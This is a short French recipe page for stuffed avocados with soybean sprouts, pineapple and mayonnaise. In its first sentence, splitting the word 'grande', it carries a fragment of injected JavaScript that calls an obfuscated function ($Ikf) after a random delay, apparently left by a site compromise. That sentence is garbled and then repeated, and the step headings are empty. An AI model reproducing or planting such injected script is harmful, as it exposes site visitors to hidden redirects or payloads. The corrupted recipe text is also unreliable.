Avocats farcis à l’américaine
2018-02-11- Thématique : Végétarien
- Niveau : Facile
Faites bouillir de l’eau dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande casserole, y plonger les germes de soja à la première ébullition. Les égouttez.
Ingrédients
Faites bouillir de l’eau dans une grande casserole, y plonger les germes de soja à la première ébullition. Les égouttez. Réservez. Préparez la mayonnaise avec 2 cuillères à café de moutarde et 1 pointe de Cayenne. Ouvrir les avocats enlevez les noyaux, retirer la chair, détaillez en petits cubes, arrosez-les de jus de citron. Coupez en petits cubes l’ananas. Mélangez le soja, l’ananas, l’avocat, ajoutez la mayonnaise et mélangez. Remplir en dôme les demi-avocats évidés et les garnir d’une rondelle de tomate. Parsemez de persil ciselé.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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